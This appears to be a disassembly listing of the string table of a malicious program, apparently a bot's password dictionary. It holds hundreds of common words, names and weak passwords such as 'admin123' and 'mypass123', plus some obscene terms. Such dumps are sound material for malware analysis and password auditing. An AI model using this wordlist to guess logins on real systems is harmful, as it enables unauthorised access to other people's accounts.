aCynthia	db 'cynthia',0          ; DATA XREF: seg002:0042CA34o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:0042CA30o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:0042CA2Co
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg002:0042CA28o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:0042CA24o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: seg002:0042CA20o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:0042CA1Co
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: seg002:0042CA18o
aCristina	db 'cristina',0         ; DATA XREF: seg002:0042CA14o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:0042CA10o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: seg002:0042CA0Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:0042CA08o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: seg002:0042CA04o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg002:0042CA00o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:0042C9FCo
		align 10h
aCreation	db 'creation',0         ; DATA XREF: seg002:0042C9F8o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg002:0042C9F4o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:0042C9F0o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:0042C9ECo
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:0042C9E8o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:0042C9E4o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:0042C9E0o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:0042C9DCo
aCounters	db 'counters',0         ; DATA XREF: seg002:0042C9D8o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:0042C9D4o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:0042C9D0o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg002:0042C9CCo
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:0042C9C8o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg002:0042C9C4o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:0042C9C0o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg002:0042C9BCo
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:0042C9B8o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:0042C9B4o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:0042C9B0o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: seg000:0040EDC1o
					; seg002:0042C9ACo
		align 4
aConsole	db 'console',0          ; DATA XREF: seg002:0042C9A8o
aConserva	db 'conserva',0         ; DATA XREF: seg002:0042C9A4o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: seg002:0042C9A0o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:0042C998o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: seg002:0042C994o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:0042C990o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:0042C98Co
aComputin	db 'computin',0         ; DATA XREF: seg002:0042C988o
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:0042C984o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:0042C980o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg002:0042C97Co
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:0042C978o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg002:0042C974o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:0042C970o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg002:0042C96Co
aCold		db 'cold',0             ; DATA XREF: seg002:0042C968o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg002:0042C964o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:0042C960o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg002:0042C95Co
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:0042C958o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg002:0042C954o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:0042C950o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:0042C94Co
		align 4
aCock		db 'cock',0             ; DATA XREF: seg002:0042C948o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:0042C944o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:0042C940o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg002:0042C93Co
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:0042C938o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: seg002:0042C934o
aClinton	db 'clinton',0          ; DATA XREF: seg002:0042C930o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:0042C92Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg002:0042C928o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:0042C924o
aClassic	db 'classic',0          ; DATA XREF: seg002:0042C920o
aClasses	db 'classes',0          ; DATA XREF: seg002:0042C91Co
aClass		db 'class',0            ; DATA XREF: seg002:0042C918o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:0042C914o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:0042C910o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg002:0042C90Co
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:0042C908o
aChristin	db 'christin',0         ; DATA XREF: seg002:0042C904o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:0042C900o
		align 10h
aChip		db 'chip',0             ; DATA XREF: seg002:0042C8FCo
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:0042C8F8o
aChess		db 'chess',0            ; DATA XREF: seg002:0042C8F4o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:0042C8F0o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:0042C8ECo
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg002:0042C8E8o
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:0042C8E4o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg002:0042C8E0o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:0042C8DCo
aCharles	db 'charles',0          ; DATA XREF: seg002:0042C8D8o
aCharity	db 'charity',0          ; DATA XREF: seg002:0042C8D4o
aChange		db 'change',0           ; DATA XREF: seg002:0042C8D0o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:0042C8CCo
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:0042C8C8o
aCeltic		db 'celtic',0           ; DATA XREF: seg002:0042C8C4o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:0042C8C0o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg002:0042C8BCo
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:0042C8B8o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg002:0042C8B4o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:0042C8B0o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg002:0042C8ACo
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:0042C8A8o
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:0042C8A4o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg002:0042C8A0o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:0042C89Co
		align 10h
aCarson		db 'carson',0           ; DATA XREF: seg002:0042C898o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:0042C894o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: seg002:0042C890o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg002:0042C88Co
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:0042C888o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: seg002:0042C884o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:0042C880o
		align 10h
aCarla		db 'carla',0            ; DATA XREF: seg002:0042C87Co
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:0042C878o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:0042C874o
		align 4
aCard		db 'card',0             ; DATA XREF: seg002:0042C870o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg002:0042C86Co
aCaptain	db 'captain',0          ; DATA XREF: seg002:0042C868o
aCantor		db 'cantor',0           ; DATA XREF: seg002:0042C864o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg002:0042C860o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:0042C85Co
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg002:0042C858o
aCampanil	db 'campanil',0         ; DATA XREF: seg002:0042C854o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: seg002:0042C850o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:0042C84Co
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:0042C848o
		align 10h
aButt		db 'butt',0             ; DATA XREF: seg002:0042C844o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:0042C840o
		align 10h
aBurn		db 'burn',0             ; DATA XREF: seg002:0042C83Co
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:0042C838o
aBung		db 'bung',0             ; DATA XREF: seg002:0042C834o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:0042C830o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:0042C82Co
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: seg002:0042C828o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:0042C824o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:0042C820o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg002:0042C81Co
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:0042C818o
aBroadway	db 'broadway',0         ; DATA XREF: seg002:0042C814o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg002:0042C810o
aBrian		db 'brian',0            ; DATA XREF: seg002:0042C80Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg002:0042C808o
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:0042C804o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg002:0042C800o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:0042C7FCo
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg002:0042C7F8o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:0042C7F4o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg002:0042C7F0o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:0042C7ECo
		align 10h
aBorn		db 'born',0             ; DATA XREF: seg002:0042C7E8o
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:0042C7E4o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: seg002:0042C7E0o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:0042C7DCo
		align 10h
aBoner		db 'boner',0            ; DATA XREF: seg002:0042C7D8o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:0042C7D4o
		align 10h
aBoard		db 'board',0            ; DATA XREF: seg002:0042C7D0o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:0042C7CCo
		align 10h
aBlue		db 'blue',0             ; DATA XREF: seg002:0042C7C8o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:0042C7C4o
aBlow		db 'blow',0             ; DATA XREF: seg002:0042C7C0o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:0042C7BCo
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:0042C7B8o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg002:0042C7B4o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:0042C7B0o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg002:0042C7ACo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:0042C7A8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:0042C7A4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:0042C7A0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg002:0042C79Co
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:0042C798o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg002:0042C794o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:0042C790o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:0042C78Co
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:0042C788o
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:0042C784o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:0042C780o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: seg002:0042C77Co
aBetty		db 'betty',0            ; DATA XREF: seg002:0042C778o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: seg002:0042C774o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:0042C770o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: seg002:0042C76Co
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:0042C768o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: seg002:0042C764o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg002:0042C760o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:0042C75Co
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:0042C758o
aBenz		db 'benz',0             ; DATA XREF: seg002:0042C754o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: seg002:0042C750o
aBell		db 'bell',0             ; DATA XREF: seg002:0042C74Co
		align 10h
aBehead		db 'behead',0           ; DATA XREF: seg002:0042C748o
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:0042C744o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: seg002:0042C740o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg002:0042C73Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:0042C738o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg002:0042C734o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:0042C730o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg002:0042C72Co
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:0042C728o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:0042C724o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:0042C720o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: seg002:0042C71Co
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:0042C718o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:0042C714o
aBass		db 'bass',0             ; DATA XREF: seg002:0042C710o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: seg002:0042C70Co
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg002:0042C708o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:0042C704o
aBart		db 'bart',0             ; DATA XREF: seg002:0042C700o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:0042C6FCo
		align 10h
aBarf		db 'barf',0             ; DATA XREF: seg002:0042C6F8o
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:0042C6F4o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: seg002:0042C6F0o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:0042C6ECo
aBanks		db 'banks',0            ; DATA XREF: seg002:0042C6E8o
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:0042C6E4o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: seg002:0042C6E0o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:0042C6DCo
aBanana		db 'banana',0           ; DATA XREF: seg002:0042C6D8o
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:0042C6D4o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: seg002:0042C6D0o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:0042C6CCo
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:0042C6C8o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:0042C6C4o
aBaby		db 'baby',0             ; DATA XREF: seg002:0042C6C0o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg002:0042C6BCo
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:0042C6B8o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:0042C6B4o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:0042C6B0o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: seg002:0042C6ACo
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:0042C6A8o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:0042C6A4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg002:0042C6A0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:0042C69Co
aAsian		db 'asian',0            ; DATA XREF: seg002:0042C698o
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg002:0042C694o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg002:0042C690o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:0042C68Co
		align 4
aArmy		db 'army',0             ; DATA XREF: seg002:0042C688o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:0042C684o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:0042C680o
aAria		db 'aria',0             ; DATA XREF: seg002:0042C67Co
		align 4
aApril		db 'april',0            ; DATA XREF: seg002:0042C678o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:0042C674o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: seg002:0042C670o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg002:0042C66Co
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:0042C668o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:0042C664o
aAnswer		db 'answer',0           ; DATA XREF: seg002:0042C660o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:0042C65Co
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg002:0042C658o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:0042C654o
aAnne		db 'anne',0             ; DATA XREF: seg002:0042C650o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:0042C64Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg002:0042C648o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:0042C644o
aAnimal		db 'animal',0           ; DATA XREF: seg002:0042C640o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:0042C63Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg002:0042C638o
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:0042C634o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: seg002:0042C630o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:0042C62Co
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: seg002:0042C628o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg002:0042C624o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:0042C620o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg002:0042C61Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:0042C618o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:0042C614o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:0042C610o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: seg002:0042C60Co
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:0042C608o
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:0042C604o
aAmber		db 'amber',0            ; DATA XREF: seg002:0042C600o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:0042C5FCo
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:0042C5F8o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:0042C5F4o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: seg002:0042C5F0o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:0042C5ECo
aAlison		db 'alison',0           ; DATA XREF: seg002:0042C5E8o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:0042C5E4o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: seg002:0042C5E0o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:0042C5DCo
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: seg002:0042C5D8o
aAlias		db 'alias',0            ; DATA XREF: seg002:0042C5D4o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:0042C5D0o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:0042C5CCo
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:0042C5C8o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg002:0042C5C4o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:0042C5C0o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:0042C5BCo
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:0042C5B8o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: seg002:0042C5B4o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:0042C5B0o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:0042C5ACo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:0042C5A8o
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:0042C5A4o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:0042C5A0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg002:0042C59Co
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:0042C598o
		align 4
aAction		db 'action',0           ; DATA XREF: seg002:0042C594o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:0042C590o
aAcademic	db 'academic',0         ; DATA XREF: seg002:0042C588o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:0042C584o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:0042C580o
					; seg002:0042DF98o
		align 4
a00000		db '00000',0            ; DATA XREF: seg002:0042C57Co
					; seg002:0042DF94o
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:0042C578o
					; seg002:0042DF90o
		align 4
a000		db '000',0              ; DATA XREF: seg002:0042C574o
					; seg002:0042DF8Co
aTesting	db 'testing',0          ; DATA XREF: seg002:0042C570o
aDeath		db 'death',0            ; DATA XREF: seg002:0042C56Co
		align 10h
a00		db '00',0               ; DATA XREF: seg002:0042C568o
					; seg002:0042DF88o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:0042C560o
					; seg002:0042E3D8o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:0042C55Co
					; seg002:0042E3D4o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:0042C558o
					; seg002:0042E3D0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:0042C554o
					; seg002:0042E3CCo
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:0042C550o
					; seg002:0042E3C8o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:0042C54Co
					; seg002:0042E3C4o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg002:0042C548o
					; seg002:0042E3C0o
aXx		db 'xx',0               ; DATA XREF: seg002:0042C544o
					; seg002:0042E3BCo
		align 4
asc_432C14:				; DATA XREF: seg002:0042C540o
					; seg002:0042E3B8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:0042C53Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:0042C538o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:0042C534o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:0042C530o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:0042C52Co
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:0042C528o
		align 10h
aScript		db 'script',0           ; DATA XREF: seg002:0042C524o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:0042C520o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: seg002:0042C51Co
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:0042C518o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: seg002:0042C514o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:0042C510o
		align 10h
aKiller		db 'killer',0           ; DATA XREF: seg002:0042C50Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:0042C508o
					; seg002:0042DFF4o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: seg002:0042C504o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:0042C500o
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:0042C4FCo
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg002:0042C4F8o
aSatanik	db 'satanik',0          ; DATA XREF: seg002:0042C4F4o
aSatan		db 'satan',0            ; DATA XREF: seg002:0042C4F0o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:0042C4ECo
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:0042C4E8o
aMatt		db 'Matt',0             ; DATA XREF: seg002:0042C4E4o
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg002:0042C4E0o
aPw		db 'pw',0               ; DATA XREF: seg002:0042C4DCo
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:0042C4D8o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: seg002:0042C4D4o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:0042C4D0o
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:0042C4CCo
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:0042C4C8o
aMypc		db 'mypc',0             ; DATA XREF: seg002:0042C4C4o
		align 4
aLove		db 'love',0             ; DATA XREF: seg002:0042C4C0o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:0042C4BCo
aLogin		db 'login',0            ; DATA XREF: seg002:0042C4B8o
		align 10h
aHome		db 'home',0             ; DATA XREF: seg002:0042C4B4o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:0042C4B0o
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:0042C4ACo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:0042C4A8o
					; seg002:0042E364o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: seg002:0042C4A4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:0042C4A0o
		align 10h
aPc		db 'pc',0               ; DATA XREF: seg002:0042C49Co
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:0042C498o
aTest123	db 'test123',0          ; DATA XREF: seg002:0042C494o
aAbc		db 'abc',0              ; DATA XREF: seg002:0042C490o
aAaa		db 'aaa',0              ; DATA XREF: seg002:0042C48Co
					; seg002:0042E338o
aA_1:					; DATA XREF: seg002:0042C488o
					; seg002:0042E330o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:0042C484o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:0042C480o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:0042C47Co
aIrule		db 'irule',0            ; DATA XREF: seg002:0042C478o
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg002:0042C474o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:0042C470o
					; seg002:0042DFF8o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:0042C46Co
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:0042C468o
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:0042C464o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg002:0042C460o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:0042C45Co
		align 4
aGod		db 'god',0              ; DATA XREF: seg002:0042C458o
aSex_0		db 'sex',0              ; DATA XREF: seg002:0042C454o
aPat		db 'pat',0              ; DATA XREF: seg002:0042C450o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:0042C44Co
aAlpha		db 'alpha',0            ; DATA XREF: seg002:0042C448o
		align 4
a007		db '007',0              ; DATA XREF: seg002:0042C444o
					; seg002:0042DFE4o
a123abc		db '123abc',0           ; DATA XREF: seg002:0042C440o
					; seg002:0042E1F4o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:0042C43Co
					; seg002:0042E200o
		align 10h
a123123		db '123123',0           ; DATA XREF: seg002:0042C438o
					; seg002:0042E1A0o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:0042C434o
					; seg002:0042E198o
		align 10h
a111111		db '111111',0           ; DATA XREF: seg002:0042C430o
					; seg002:0042E010o
		align 4
